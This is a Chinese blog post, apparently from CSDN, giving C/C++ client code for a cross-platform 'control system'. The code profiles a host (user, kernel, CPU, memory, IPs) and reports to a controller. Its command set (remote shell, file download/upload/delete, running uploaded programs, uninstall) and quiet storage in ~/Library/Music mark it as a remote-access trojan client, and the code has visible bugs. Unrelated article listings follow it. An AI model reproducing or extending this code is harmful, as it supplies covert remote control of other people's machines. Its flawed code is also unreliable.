windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取
控制集成系统需要了解系统的各项硬件信息,之前我们设计的时候,习惯使用c函数来搞,后来可能发现程序的移植性收到了一些影响,比如unix内核的一些c函数在linux下面是没有的:
比如
苹果达尔文内核的如下东西,linux里面就没有:
//kern_return_t kr;
//host_name_port_t myhost;
// kernel_version_t kversion;
// host_basic_info_data_t hinfo;
// mach_msg_type_number_t count;
char *cpu_type_name,*cpu_subtype_name;
// vm_size_t page_size;
// myhost = mach_host_self();
// kr = host_kernel_version(myhost, kversion);
// count = HOST_BASIC_INFO_COUNT;
// kr = host_info(myhost, HOST_BASIC_INFO, (host_info_t)&hinfo, &count);
// kr = host_page_size(myhost, &page_size); //
所以换一种思路我们考虑使用,shell命令获取信息,完后进行字符处理,这样即使换了系统,我们代码里面换换shell命令就可以了。
使用到的一些结构体跟宏定义:
// Created by mac mac on 13-5-8.
// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
// #ifndef mac_client_mac_h
#define mac_client_mac_h
////////////////////////////////////////////////////////////////////////////////////////
/*
1.注意中文标点,编译器不容易察觉
2.server 和client端的宏定义大小要统一
*/
/////////////////////////////////////////////////////////////////////////////////////////
#define MAX_SIZE 1024
#define MAX_NAME_LENGTH 64
#define MAX_PATH 260 //保持和windows端定义的一样
#define MAX_PATH_MAC 256 //苹果的最大长度
#define FALSE 0
#define TRUE 1 #define MAX_SEND_BUFFER 1024*4
#define MAX_RECV_BUFFER 1024*4 ///////////////////////////////////////////////////////////////////////////////////////// typedef struct Command //自定义命令结构体
{
int order;//命令序号
long datasize;
void * hwnd;//窗口句柄 }Command; typedef struct Server_Address //服务器地址
{ char strIP[3][MAX_PATH];//服务器ip
unsigned int uPort[3] ; //服务器端口
char remark[MAX_NAME_LENGTH];
}Server_Address; typedef struct _SYS_INFO //到时候得增加备注
{
Command cmd;
char remark[MAX_NAME_LENGTH]; //备注
char computer_name[MAX_NAME_LENGTH]; //
char user_name[MAX_NAME_LENGTH]; //
char sys_version[MAX_NAME_LENGTH]; //
char cpu_type[MAX_NAME_LENGTH]; //
char host_ip_address[MAX_NAME_LENGTH]; //内网ip
char ip_addresss[MAX_NAME_LENGTH]; //外网ip
char uuid[MAX_NAME_LENGTH]; //被控端的唯一标识 unsigned int cpu_num; //
unsigned int mem_total; //
int host_id; //
}SYS_INFO; enum
{
COMMAND_BIGIN = 20000, //命令开始
TOKEN_ONLINE, //上线命令
COMMAND_BREAK, //断开链接
COMMAND_UNINSTALL, //卸载
COMMAND_MODIFY_REMARK, //修改备注
///////////////////////////////////////////////////////////////////////////
COMMAND_MANAGER_FILE, //打开文件管理窗口
COMMAND_GET_DIRECTORY, //获取控制端主机根目录下所有文件信息
COMMAND_GET_REQUEST_DIRECTORY, //获取双击请求目录中所有文件信息
COMMAND_SEARCH_FILE, //文件搜索,还没做
COMMAND_WRONG_DIRECTORY, //目录为空或者不可读
COMMAND_DELETE_FILE, //删除文件
COMMAND_FILE_CLOSE, //关闭当前文件管理功能的链接
////////////////////////////////////////////////////////////////////////// COMMAND_MANAGER_CMD, //打开cmd管理窗口
TOKEN_CMD_NEXT, //等待下一个命令
COMMAND_SHELL, //控制端请求的shell命令
COMMAND_SHELL_CLOSE, //关闭shell
//////////////////////////////////////////////////////////////////////////
COMMAND_MANAGER_DOWNLOAD, //打开文件下载功能
TOKEN_DOWNLOAD_SETUP, //控制端发送文件下载连接和uuid
COMMAND_GET_FILEDATA, //请求文件数据
TOKEN_SENT_FILEDATA, //发送文件数据
TOKEN_CANT_GET_DATA, //给控制端发送消息文件不可读
////////////////////////////////////////////////////////////////////////
COMMAND_MANAGER_UPLOAD, //开启文件上传
TOKEN_UPLOAD_SETUP, //接受文件上传连接
COMMAND_SENT_UPLOAD_DATA, //发送上传文件数据
TOKEN_UPLOAD_DATA, //请求上传文件数据
TOKEN_UPLOAD_COMPLETE, //文件上传完成
COMMAND_RUN_PROGARM, //上传运行的文件 COMMAND_UPLOAD_CLOSE, //关闭上传进程和连接 }; #endif
下面是代码:
Systeminfo.h
/*
* File: System_Info.h
* Author: Administrator
*
* Created on
*/ #ifndef SYSTEM_INFO_H
#define SYSTEM_INFO_H
#include <iostream>
#include <stdlib.h>
#include <string.h> #include <netinet/in.h> // for sockaddr_in
#include <sys/types.h> // for socket
#include <sys/socket.h> // for socket
#include <stdio.h> // for printf
#include <stdlib.h> // for exit #include <netdb.h>
#include <pthread.h> //for th/Users/twd/Desktop/NewPc/mainread
#include <stdbool.h> //for bool
#include <iconv.h> //for utf-8 gb2312
#include <sys/cdefs.h>
#include <sys/errno.h>
#include <sys/stat.h> //for dir
#include <unistd.h>
#include <dirent.h>
#include <arpa/inet.h> //honts, inet_addr
#include <ctype.h> //isdigit
#include <errno.h> //errno
#include <fcntl.h> //OWRONLY
#include <unistd.h>
#include <pwd.h> //for username
//#include <copyfile.h>
//#include <mach/host_info.h>
#include <netdb.h>
#include <grp.h>
#include "mac.h"
//#include <mach/mach.h> #include <sys/mount.h>
using namespace std; int GetDeviceInfo(SYS_INFO * si);//声明一下,传递一个结构体到引用
void writeBeizhuInfo(char *beizhu);//写备份文件
char * readUuidInfo(SYS_INFO* si);//读取生成的uuid
char * readUuid();
void writeUuidInfo_info();
bool GetHost(char *domainName,char * ip); char * readDirectory(char * directory);//上传文件的目录 int myexec(const char *cmd, string &resvec);//管道运行命令,得到一些系统信息 #endif /* SYSTEM_INFO_H */
实现:
//
// SystemInfo.cpp
// mac_client
//
// Created by mac mac on 13-5-21.
// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
// //#ifdef __cplusplus
//extern "C" {
//#endif //#include <iostream> #include "SystemInfo.h"
#include <stdlib.h> int beizhuaccess = 0; //标志位,备注有没有改变 bool GetHost(char *domainName,char * ip)
{ int i;
struct hostent *he;
struct in_addr **addr_list; //char * name = "www.csdn.net"; if ((he = gethostbyname(domainName)) == NULL)
{ // get the host info
herror("gethostbyname");
return NULL;
} // print information about this host:
printf("Official name is: %s\n", he->h_name);
printf(" IP addresses: ");
addr_list = (struct in_addr **)he->h_addr_list; for(i = 0; addr_list[i] != NULL; i++)
{
printf("%s ", inet_ntoa(*addr_list[i]));
sprintf(ip, "%s",inet_ntoa(*addr_list[i]));
} ///return
printf("\n"); return ip;
} void get_ip(SYS_INFO* si)
{
//char hname[128];
struct hostent *hent;
int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); //hent = gethostent();
hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name);
for(i = 0; hent->h_addr_list[i]; i++)
{
printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
printf("%s\n",si->host_ip_address);
}
} char * readDirectory(char * directory)
{ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名 //char path[MAX_NAME_LENGTH]; sprintf(directory,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(directory,zhuliuPath,login_name);
return directory;
} char * readUuid()
{
char path[MAX_PATH] = {0};
char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名 sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol");
//if (access(path,0)==0)
//{
FILE *fp = fopen(path, "r");
fgets(uuid,MAX_NAME_LENGTH,fp);
fclose(fp); return uuid; } char * readUuidInfo(SYS_INFO* si)
{
char path[MAX_PATH] = {0};
char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名 // sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol"); FILE *fp = fopen(path, "r");
fgets(uuid,MAX_NAME_LENGTH,fp);
fclose(fp);
strcat(si->uuid, uuid); return uuid; } void writeBeizhuInfo(char *beizhu)
{ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
strcat(path, "/beizhu.lol");
//if (access(path,0)==0)
//{
FILE *fp = fopen(path, "w");
fputs(beizhu,fp);
//strcpy(si->remark, beizhu);
//}
fclose(fp);
}
int myexec(const char *cmd, string &resvec)
{
resvec.clear();
FILE *pp = popen(cmd, "r"); //建立管道
if (!pp)
{
return -1;
}
char tmp[1024]; //设置一个合适的长度,以存储每一行输出
while (fgets(tmp, sizeof(tmp), pp) != NULL)
{
if (tmp[strlen(tmp) - 1] == '\n')
{
tmp[strlen(tmp) - 1] = '\0'; //去除换行符
}
resvec.append(tmp);
}
pclose(pp); //关闭管道
return resvec.size();
} void writeUuidInfo_info()
{
FILE *fp = popen("uuidgen", "r");//打开管道,执行命令,生成uuid
char buffer[MAX_NAME_LENGTH] = {0};
while (NULL != fgets(buffer, MAX_NAME_LENGTH, fp)) //逐行读取执行结果并打印
{
printf(buffer);
}
//fclose(fp); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
//*
// int IsHave=mkdir(path,S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH);//创建LaunchAgents文件夹,把自身拷贝进去
// if(IsHave<0)//创建新目录
//{
// printf("mkdir failed\n");
// exit(0);
// }
string str_mkdir = "mkdir -p ";
str_mkdir.append(path);
string str_mkdir_result;
myexec(str_mkdir.c_str(),str_mkdir_result); strcat(path, "/uuid.lol");
FILE *fpf = fopen(path, "w");
int i = fputs(buffer,fpf); fclose(fpf); pclose(fp); } int GetDeviceInfo(SYS_INFO *si)
{
char temp[64]={0};
gethostname(si->computer_name,sizeof(si->computer_name)); struct passwd *passwd;
passwd = getpwuid (getuid());
struct group *group;
group = getgrgid (passwd->pw_gid); sprintf(si->user_name,"%s-%s",group->gr_name,passwd->pw_name); string str_kernel;
myexec("uname -sr",str_kernel);
cout<<str_kernel<<endl;
strcat(si->sys_version,str_kernel.c_str()); string str_cpu;
myexec("grep \"model name\" /proc/cpuinfo | cut -f2 -d:|head -1",str_cpu);
cout<<str_cpu<<endl;
strcat(si->cpu_type,str_cpu.c_str()); puts(si->computer_name); struct hostent *hent;
int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); hent = gethostent();
//hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name);
for(i = 0; hent->h_addr_list[i]; i++)
{
printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
}
printf("%s\n",si->host_ip_address); string str_mem_total;
myexec("free -m |grep \"Mem\" | awk \'{print $2}\'",str_mem_total);
cout<<str_mem_total<<endl;
si->mem_total = atoi(str_mem_total.c_str());
// strcat(si->cpu_type,str_cpu.c_str()); printf("%s\n",si->user_name);
printf("%s\n",si->sys_version);
printf("%s\n",si->cpu_type);
printf("cpu:%d\n",si->cpu_num);
printf("memory:%d\n",si->mem_total); ///////////////////////////////////读备注文件//////////////////////////////////////////////////////
char path[MAX_PATH] = {0};
char beizhu[MAX_PATH_MAC] = {0}; sprintf(path,"/Users/%s/Library/Music",passwd->pw_name);//创建的路径
//sprintf(path,zhuliuPath,passwd->pw_name);
strcat(path, "/beizhu.lol");
if (access(path,0)==0)
{
FILE *fp = fopen(path, "r");
fgets(beizhu,MAX_NAME_LENGTH,fp);
fclose(fp);
beizhuaccess = 1; strcpy(si->remark, beizhu);
}
else
{
strcpy(si->remark, "default"); } ///////////////////////////////////////读取uuid////////////////////////////////////////////////////////
char uuidPath[MAX_PATH] = {0};
sprintf(uuidPath,"/Users/%s/Library/Music",passwd->pw_name);
strcat(uuidPath, "/uuid.lol");
if (access(uuidPath,0)==0)
{
readUuidInfo(si); }
else
{
writeUuidInfo_info();
readUuidInfo(si); } /////////////////////////////////////////////////////////////////////////////////////////////
return 0;
} //#ifdef __cplusplus
//} //#endif
搭建传输的socket平台参考下面博文:
http://blog.csdn.net/wangyaninglm/article/details/41940287
实现效果:
windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取的更多相关文章
- windows linux—unix 跨平台通信集成控制系统----文件搜索
跨平台的网络通信,跟设备的集成控制,牵扯到在各种平台下的文件搜索问题,windows下面的已经有了. 地址如下: http://blog.csdn.net/wangyaninglm/article/d ...
- windows linux—unix 跨平台通信集成控制系统
首先,我们可以用到这个开源的开发包: mdk(Micro-Development-Kit)微量级软件开发包,提供几个常用类,主要实现了一个高性能的并发服务器引擎 使用c++开发,是一个跨平台的开发包, ...
- Linux下使用fstatfs/statfs查询系统相关信息
Linux下使用fstatfs/statfs查询系统相关信息 1. 功能 #include < sys/statfs.h > int statfs(const char *path, ...
- Linux查看系统硬件信息命令
Linux查看系统硬件信息命令 查看磁盘类型(是否SSD) cat /sys/block/sda/queue/rotational code:0 SSD盘 code:1 SATA盘 查看物理CPU个数 ...
- centos 7 查看系统/硬件信息及运维常用命令+联想Y430P无线网卡驱动安装
centos 7 查看系统/硬件信息及运维常用命令 当前环境:联想Y430P CentOS 7.3 [root@yan-001 ~] # uname -a # 查看内核/操作系统/CPU信息的Li ...
- 利用CMD查看系统硬件信息
利用CMD查看系统硬件信息对于在windows下查看系统信息大家一定不陌生了,我现在说几个最常用的方法,对命令感兴趣的朋友看看,(给菜鸟看的,老手就不要笑话我了,大家都是从那个时候过来的,^_^).一 ...
- android 获取系统硬件信息
一,首先设置权限访问: <uses-permission android:name="android.permission.READ_PHONE_STATE" /> ...
- (转)IBM AIX系统硬件信息查看命令(shell脚本)
IBM AIX系统硬件信息查看命令(shell脚本) 原文:http://blog.itpub.net/22085031/viewspace-1054015/ 查看IBM AIX系统的主机型号.序列号 ...
- Shell获取Aix/linux/unix机器上db2和os的信息并上传到指定服务器
(之前写过一篇类似的文章,当时传输文件用的是ftp,因为项目觉得ftp不够安全所以这次换成了scp,同时对脚本的一些地方也做了一些调整) 其实做这个东西还是因为项目的需求,需要获取某些机器(目前主要是 ...
随机推荐
- Android线性布局
线性布局 LinearLayout 是一个视图组,用于使所有子视图在单个方向(垂直或水平)保持对齐. 您可以使用 android:orientation 属性指定布局方向. LinearLayout ...
- ROS机器人程序设计(原书第2版)补充资料 (肆) 第四章 在ROS下使用传感器和执行器
ROS机器人程序设计(原书第2版)补充资料 (肆) 第四章 在ROS使用传感器和执行器 书中,大部分出现hydro的地方,直接替换为indigo或jade或kinetic,即可在对应版本中使用. 第四 ...
- FORM开发中Profiles的使用
用户配置文件相当于系统参数,可以在不同层级(Site层.应用模块层.责任层.用户层)设置不同的值:作用范围小的覆盖范围大的层,系统已经预设了很多user profile; 开发人员也可以定义 在EBS ...
- 从Cell类型转变成数据型
我们有一个如下的cell数据 cdata = {'1' '11' '111' '1111' '11111'}; 现在要把他转变成double型的数组,很自然会想到的方法是cell2mat,可悲的是会遇 ...
- 有两个序列a,b,大小都为n,序列元素的值是任意整数,无序。
要求:通过交换a,b中的元素,使[序列a元素的和]与[序列b元素的和]之间的差最小. 例如: var a=[100,99,98,1,2, 3]; var b=[1, 2, 3, 4,5,40]. in ...
- Hive-RCFile文件存储格式
在新建Hive表时,可以使用stored as rcfile来指定hive文件的存储方式为RCFile. 一.RCFile文件结构 下图是一个RCFile的文件结构形式. 从上图可以看出: 1)一张表 ...
- 【java多线程系列】java内存模型与指令重排序
在多线程编程中,需要处理两个最核心的问题,线程之间如何通信及线程之间如何同步,线程之间通信指的是线程之间通过何种机制交换信息,同步指的是如何控制不同线程之间操作发生的相对顺序.很多读者可能会说这还不简 ...
- 编译GDAL支持MySQL
GDAL支持MySQL需要MySQL的库才可以,编译很简单,修改nmake.opt文件中对应的MySQL的库的路径和lib即可. nmake.opt文件中397行左右,如下: # MySQL Libr ...
- Android 实现图片加水印
加水印代码 public Bitmap addWaterMark(Bitmap src, String water, Context context){ Bitmap tarBitmap = src. ...
- AndroidVerifyBoot
253 Utils.write(image_with_metadata, outPath);254 }227行得到boot.img的size 238行new一个BootSignat ...